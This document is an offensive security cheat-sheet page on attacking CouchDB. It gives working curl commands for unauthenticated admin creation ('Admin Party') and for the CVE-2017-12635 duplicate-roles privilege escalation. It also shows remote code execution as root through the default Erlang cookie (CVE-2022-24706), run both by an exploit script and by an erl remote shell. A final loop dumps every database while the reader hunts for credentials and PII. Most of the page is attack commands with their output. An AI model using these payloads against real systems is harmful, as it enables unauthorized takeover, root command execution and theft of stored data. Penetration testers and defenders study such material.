Skip to content

CouchDB Unauthenticated Admin Access

4 min read Created Sep 14, 2026 Last updated Sep 14, 2026

CouchDB before version 3.0 allowed unauthenticated admin account creation through its HTTP API (sometimes called "Admin Party"). In newer versions, misconfigurations or default setups may still expose the admin creation endpoint. Beyond privilege escalation, CouchDB's Erlang runtime has produced critical RCE vulnerabilities. Confirm the target version and open endpoints through CouchDB enumeration first.

Admin Party (No Admins Configured)

When CouchDB has no admin accounts configured, every request has admin privileges. This is the default state after a fresh install if the setup wizard was skipped. Check whether any admins exist.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:5984/_node/_local/_config/admins | python3 -m json.tool
{}

An empty object means no admins are configured. All endpoints are accessible without credentials. A 401 response means authentication is required.

Creating an Admin Account

If no admins exist, create one through the config API. This immediately enables authentication and locks out other unauthenticated users.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://$TARGET_IP:5984/_node/_local/_config/admins/hacker -d '"password123"'
""

Creates admin user "hacker" with password "password123". CouchDB hashes the password on the server side. After creation, all admin endpoints require authentication.

┌──(kali㉿kali)-[~]
└─$ curl -s -u hacker:password123 http://$TARGET_IP:5984/_all_dbs | python3 -m json.tool

CVE-2017-12635: Privilege Escalation via Duplicate Keys

CouchDB before 1.7.0 and 2.x before 2.1.1 has a JSON parsing inconsistency between Erlang and JavaScript. Sending duplicate roles keys in a user creation request lets the attacker set _admin roles. The Erlang JSON parser uses the last value while the JavaScript validator uses the first.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://$TARGET_IP:5984/_users/org.couchdb.user:attacker \
-H 'Content-Type: application/json' \
-d '{"type": "user", "name": "attacker", "roles": ["_admin"], "roles": [], "password": "password123"}'
{"ok":true,"id":"org.couchdb.user:attacker","rev":"1-abc123"}

The JavaScript validation function sees roles:[] (valid for non-admin creation), but Erlang stores roles:["_admin"]. The created user has admin privileges.

CouchDB 3.x before 3.2.2 ships with a default Erlang distribution cookie (monster). If the Erlang Port Mapper Daemon (EPMD, port 4369) and a distribution port (default range 9100-9200) are reachable, an attacker can connect to the Erlang VM and execute arbitrary OS commands.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 4369,5984,9100-9200 $TARGET_IP
PORT     STATE SERVICE  VERSION
4369/tcp open  epmd     Erlang Port Mapper Daemon
5984/tcp open  http     CouchDB httpd 3.2.1
9100/tcp open  erlang   Erlang distribution

EPMD on 4369 and an open distribution port (9100) confirm the Erlang runtime is network-accessible.

┌──(kali㉿kali)-[~]
└─$ python3 exploit_cve_2022_24706.py --target $TARGET_IP --cookie monster --cmd 'id'
uid=0(root) gid=0(root) groups=0(root)

Public exploits automate the Erlang distribution protocol handshake with the known cookie. CouchDB often runs as root, giving immediate root-level command execution.

Manual exploitation is also possible via erl (Erlang shell). Connect to the target's Erlang node with -setcookie monster, then use os:cmd/1 to run system commands.

┌──(kali㉿kali)-[~]
└─$ erl -name attacker@$LHOST -setcookie monster -remsh couchdb@$TARGET_IP
Explain command
-setcookie monster Use the default CouchDB Erlang cookie.
-remsh couchdb@$TARGET_IP Open a remote shell on the target's Erlang VM.

Once connected, run os:cmd("id"). to execute system commands. The trailing period is required in Erlang syntax.

Data Extraction

With admin access (through any method above), dump all databases and their documents.

┌──(kali㉿kali)-[~]
└─$ for db in $(curl -s -u hacker:password123 http://$TARGET_IP:5984/_all_dbs | python3 -c "import sys,json; [print(d) for d in json.load(sys.stdin)]"); do
echo "=== $db ==="
curl -s -u hacker:password123 "http://$TARGET_IP:5984/$db/_all_docs?include_docs=true" | python3 -m json.tool
done

Iterates every database and dumps all documents with full content. Look for credentials, API keys, PII, and configuration data in the output.

References